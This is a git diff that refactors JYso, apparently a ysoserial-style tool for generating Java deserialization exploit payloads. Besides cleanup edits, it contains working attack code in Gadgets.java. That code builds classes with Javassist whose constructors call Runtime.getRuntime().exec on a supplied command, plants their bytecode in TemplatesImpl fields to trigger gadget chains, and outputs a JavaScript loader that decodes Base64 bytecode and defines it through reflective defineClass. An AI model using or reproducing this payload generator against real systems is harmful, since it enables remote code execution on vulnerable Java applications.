diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java index 5332eef..4434c96 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java @@ -4,9 +4,6 @@ import com.beust.jcommander.JCommander; import com.beust.jcommander.Parameter; import com.beust.jcommander.UnixStyleUsageFormatter; import com.qi4l.JYso.gadgets.ObjectPayload; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.StringUtil; import javassist.ClassPool; import org.fusesource.jansi.Ansi; @@ -95,24 +92,7 @@ public class Config { } if (showGadgets) { - final List>> payloadClasses = - new ArrayList<>(ObjectPayload.Utils.getPayloadClasses()); - payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize - - final List rows = new LinkedList<>(); - rows.add(new String[]{"Payload", "Authors", "Dependencies"}); - rows.add(new String[]{"-------", "-------", "------------"}); - for (Class> payloadClass : payloadClasses) { - rows.add(new String[]{ - payloadClass.getSimpleName(), - StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), - StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") - }); - } - - final List lines = StringUtil.formatTable(rows); - - for (String line : lines) { + for (String line : ObjectPayload.Utils.getPayloadTableLines()) { System.out.println(" " + line); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java index 91c3815..6e476a4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java @@ -1,10 +1,7 @@ package com.qi4l.JYso.gadgets.Config; import com.qi4l.JYso.gadgets.ObjectPayload; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Serializer; -import com.qi4l.JYso.gadgets.utils.StringUtil; import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; import org.apache.commons.cli.*; import org.apache.logging.log4j.Logger; @@ -90,7 +87,7 @@ public class ysoserial { try { //载入payload - ObjectPayload payload = payloadClass.newInstance(); + ObjectPayload payload = payloadClass.getDeclaredConstructor().newInstance(); Object object = payload.getObject(command); // 是否指定混淆 @@ -113,9 +110,9 @@ public class ysoserial { ObjectPayload.Utils.releasePayload(payload, object); out.flush(); out.close(); - } catch (Throwable e) { + } catch (Exception e) { System.err.println("Error while generating or serializing payload"); - log.error(String.valueOf(e)); + log.error("Error while generating or serializing payload", e); } } @@ -143,24 +140,7 @@ public class ysoserial { System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]"); System.err.println("[root]#~ Available payload types:"); - final List>> payloadClasses = - new ArrayList<>(ObjectPayload.Utils.getPayloadClasses()); - payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize - - final List rows = new LinkedList<>(); - rows.add(new String[]{"Payload", "Authors", "Dependencies"}); - rows.add(new String[]{"-------", "-------", "------------"}); - for (Class> payloadClass : payloadClasses) { - rows.add(new String[]{ - payloadClass.getSimpleName(), - StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), - StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") - }); - } - - final List lines = StringUtil.formatTable(rows); - - for (String line : lines) { + for (String line : ObjectPayload.Utils.getPayloadTableLines()) { System.err.println(" " + line); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java b/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java index ebab9db..10bc28f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java @@ -1,9 +1,13 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.LdapServer; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.StringUtil; import org.reflections.Reflections; import java.lang.reflect.Modifier; +import java.util.*; import java.util.Random; import java.util.Set; @@ -73,5 +77,24 @@ public interface ObjectPayload { return sb.toString(); } + + public static List getPayloadTableLines() { + final List>> payloadClasses = + new ArrayList<>(getPayloadClasses()); + payloadClasses.sort(new StringUtil.ToStringComparator()); + + final List rows = new LinkedList<>(); + rows.add(new String[]{"Payload", "Authors", "Dependencies"}); + rows.add(new String[]{"-------", "-------", "------------"}); + for (Class> payloadClass : payloadClasses) { + rows.add(new String[]{ + payloadClass.getSimpleName(), + StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), + StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") + }); + } + + return StringUtil.formatTable(rows); + } } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java index 77898db..3ad2661 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -51,69 +51,58 @@ public class Gadgets extends ClassLoader { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } - public static Object createTemplatesImpl(String command) throws Exception { + private static String sanitizeCommand(String command) { command = command.trim(); - - // 支持单双引号 if (command.startsWith("'") || command.startsWith("\"")) { command = command.substring(1, command.length() - 1); } + return command; + } - CtClass ctClass; - byte[] classBytes = new byte[0]; + private static CtClass createCtClass(String command) throws Exception { + command = sanitizeCommand(command); String newClassName = generateClassName(); - - final Object templates = TPL_CLASS.newInstance(); POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); POOL.get(ABST_TRANSLET.getName()); - // 扩展功能 + CtClass ctClass; if (command.startsWith("LF-")) { ctClass = generateClass(command, newClassName); + } else if (IS_OBSCURE) { + ctClass = POOL.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); } else { - // 普通的命令执行 - if (IS_OBSCURE) { - ctClass = POOL.makeClass(newClassName); - insertCMD(ctClass); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{execCmd(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } else { - // 最短化 - ctClass = POOL.makeClass(newClassName); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } + ctClass = POOL.makeClass(newClassName); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); } - // 如果全局配置继承,再设置父类 if (IS_INHERIT_ABSTRACT_TRANSLET) { if (ctClass != null) { shrinkBytes(ctClass); } - - // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 - // 否则直接设置父类 if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); } } - // 按需保存文件 saveCtClassToFile(ctClass); - if (ctClass != null) { - classBytes = ctClass.toBytecode(); - } + return ctClass; + } - // 加载 class 试试 -// loadClassTest(classBytes, ctClass.getName()); + public static Object createTemplatesImpl(String command) throws Exception { + CtClass ctClass = createCtClass(command); + byte[] classBytes = ctClass.toBytecode(); + + final Object templates = TPL_CLASS.getDeclaredConstructor().newInstance(); - // 写入前将 classBytes 中的类标识设为 JDK 1.6 的版本号 classBytes[7] = 49; - // 恶意类是否继承 AbstractTranslet if (IS_INHERIT_ABSTRACT_TRANSLET) { Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); } else { @@ -121,145 +110,40 @@ public class Gadgets extends ClassLoader { insertField(newClass, "serialVersionUID", "private static final long serialVersionUID = 8207363842866235160L;"); Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, newClass.toBytecode()}); - // 当 _transletIndex >= 0 且 classCount 也就是生成类的数量大于 1 时,不需要继承 AbstractTranslet Reflections.setFieldValue(templates, "_transletIndex", 0); } - // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "anyStr"); - Reflections.setFieldValue(templates, "_tfactory", TRANS_FACTORY.newInstance()); + Reflections.setFieldValue(templates, "_tfactory", TRANS_FACTORY.getDeclaredConstructor().newInstance()); return templates; } public static String createClassT(String command) throws Exception { - command = command.trim(); + CtClass ctClass = createCtClass(command); - // 支持单双引号 - if (command.startsWith("'") || command.startsWith("\"")) { - command = command.substring(1, command.length() - 1); - } - - CtClass ctClass; - String newClassName = generateClassName(); - - POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); - POOL.get(ABST_TRANSLET.getName()); - - // 扩展功能 - if (command.startsWith("LF-")) { - ctClass = generateClass(command, newClassName); - } else { - // 普通的命令执行 - if (IS_OBSCURE) { - ctClass = POOL.makeClass(newClassName); - insertCMD(ctClass); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{execCmd(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } else { - // 最短化 - ctClass = POOL.makeClass(newClassName); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } - } - - // 如果全局配置继承,再设置父类 - if (IS_INHERIT_ABSTRACT_TRANSLET) { - if (ctClass != null) { - shrinkBytes(ctClass); - } - - // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 - // 否则直接设置父类 - if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { - ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); - } - } - - byte[] bytes = null; - if (ctClass != null) { - bytes = ctClass.toBytecode(); - } + byte[] bytes = ctClass.toBytecode(); String classCode = Base64.getEncoder().encodeToString(bytes); - //System.out.println("Base64 Encoded CtClass: " + classCode); - if (ctClass != null) { - ctClass.detach(); - } + String className = ctClass.getName(); + ctClass.detach(); - if (ctClass != null) { - return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + - "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + - "try{\n" + - " var clazz = classLoader.loadClass('" + ctClass.getName() + "');\n" + - " clazz.newInstance();\n" + - "}catch(err){\n" + - " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + - " method.setAccessible(true);\n" + - " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + - " clazz.newInstance();\n" + - "};"; - } - return newClassName; + return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " var clazz = classLoader.loadClass('" + className + "');\n" + + " clazz.newInstance();\n" + + "}catch(err){\n" + + " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + " method.setAccessible(true);\n" + + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " clazz.newInstance();\n" + + "};"; } public static String createClassB(String command) throws Exception { - command = command.trim(); + CtClass ctClass = createCtClass(command); - // 支持单双引号 - if (command.startsWith("'") || command.startsWith("\"")) { - command = command.substring(1, command.length() - 1); - } - - CtClass ctClass; - String newClassName = generateClassName(); - - POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); - POOL.get(ABST_TRANSLET.getName()); - - // 扩展功能 - if (command.startsWith("LF-")) { - ctClass = generateClass(command, newClassName); - } else { - // 普通的命令执行 - if (IS_OBSCURE) { - ctClass = POOL.makeClass(newClassName); - insertCMD(ctClass); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{execCmd(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } else { - // 最短化 - ctClass = POOL.makeClass(newClassName); - CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); - ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); - ctClass.addConstructor(ctConstructor); - } - } - - // 如果全局配置继承,再设置父类 - if (IS_INHERIT_ABSTRACT_TRANSLET) { - if (ctClass != null) { - shrinkBytes(ctClass); - } - - // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 - // 否则直接设置父类 - if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) { - ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); - } - } - - String className = null; - if (ctClass != null) { - className = ctClass.getName(); - } - if (ctClass != null) { - ctClass.writeFile(); - } - - //writeClassToFile(className, ctClass.toBytecode()); + String className = ctClass.getName(); + ctClass.writeFile(); return className; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java index c545894..e1cbebd 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java @@ -73,7 +73,7 @@ public class ClassNameHandler { JarEntry jarEntry = jarEntries.nextElement(); String jarEntryName = jarEntry.getName(); if (jarEntryName.endsWith(".class")) { - String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); + String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replace("/", "."); if (!className.contains("$") && className.startsWith(packageName)) { classSet.add(className); } diff --git a/src/main/java/com/qi4l/JYso/web/JYsoWebApplication.java b/src/main/java/com/qi4l/JYso/web/JYsoWebApplication.java index f1efd9b..b3d6856 100644 --- a/src/main/java/com/qi4l/JYso/web/JYsoWebApplication.java +++ b/src/main/java/com/qi4l/JYso/web/JYsoWebApplication.java @@ -102,7 +102,7 @@ public class JYsoWebApplication { new StringSelection(text), null ); System.out.println(ansi().render("@|cyan [+]|@ Password copied to clipboard")); - } catch (HeadlessException e) { + } catch (HeadlessException ignored) { } catch (Exception e) { System.out.println(ansi().render("@|yellow [!]|@ Could not copy to clipboard: " + e.getMessage())); } diff --git a/src/main/java/com/qi4l/JYso/web/JettyApiServlet.java b/src/main/java/com/qi4l/JYso/web/JettyApiServlet.java index 9afc5b9..0f03955 100644 --- a/src/main/java/com/qi4l/JYso/web/JettyApiServlet.java +++ b/src/main/java/com/qi4l/JYso/web/JettyApiServlet.java @@ -17,6 +17,7 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.Part; import java.io.BufferedReader; +import java.io.File; import java.io.IOException; import java.io.InputStream; import java.nio.file.Files; @@ -29,7 +30,7 @@ import java.util.*; public class JettyApiServlet extends HttpServlet { @Override - protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType("application/json"); resp.setCharacterEncoding("UTF-8"); @@ -111,7 +112,7 @@ public class JettyApiServlet extends HttpServlet { private void handleFileList(HttpServletResponse resp) throws IOException { java.io.File dir = new java.io.File("."); - java.io.File[] files = dir.listFiles(f -> f.isFile()); + java.io.File[] files = dir.listFiles(File::isFile); List> list = new ArrayList<>(); if (files != null) { for (java.io.File f : files) { diff --git a/src/main/java/com/qi4l/JYso/web/RequestLogCollector.java b/src/main/java/com/qi4l/JYso/web/RequestLogCollector.java index 5852de2..af0d5ec 100644 --- a/src/main/java/com/qi4l/JYso/web/RequestLogCollector.java +++ b/src/main/java/com/qi4l/JYso/web/RequestLogCollector.java @@ -5,7 +5,6 @@ import java.io.PrintStream; import java.time.LocalTime; import java.time.format.DateTimeFormatter; import java.util.ArrayList; -import java.util.Collections; import java.util.List; import java.util.concurrent.locks.ReentrantReadWriteLock; @@ -16,13 +15,12 @@ public class RequestLogCollector { private static final List lines = new ArrayList<>(); private static final ReentrantReadWriteLock lock = new ReentrantReadWriteLock(); - private static PrintStream originalOut; private static boolean installed = false; public static synchronized void install() { if (installed) return; installed = true; - originalOut = System.out; + PrintStream originalOut = System.out; System.setOut(new PrintStream(new TeeOutputStream(originalOut), true)); } @@ -60,10 +58,6 @@ public class RequestLogCollector { } } - public static List getLines() { - return getLines(0); - } - private static class TeeOutputStream extends OutputStream { private final OutputStream target; diff --git a/src/main/java/com/qi4l/JYso/web/SpaFallbackFilter.java b/src/main/java/com/qi4l/JYso/web/SpaFallbackFilter.java index c9207f3..d358fbb 100644 --- a/src/main/java/com/qi4l/JYso/web/SpaFallbackFilter.java +++ b/src/main/java/com/qi4l/JYso/web/SpaFallbackFilter.java @@ -3,7 +3,6 @@ package com.qi4l.JYso.web; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpServletResponseWrapper; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; @@ -15,7 +14,7 @@ public class SpaFallbackFilter implements Filter { private byte[] indexContent; @Override - public void init(FilterConfig filterConfig) throws ServletException { + public void init(FilterConfig filterConfig) { try { URL indexUrl = getClass().getClassLoader().getResource("static/index.html"); if (indexUrl != null) { @@ -62,5 +61,6 @@ public class SpaFallbackFilter implements Filter { @Override public void destroy() { + Filter.super.destroy(); } }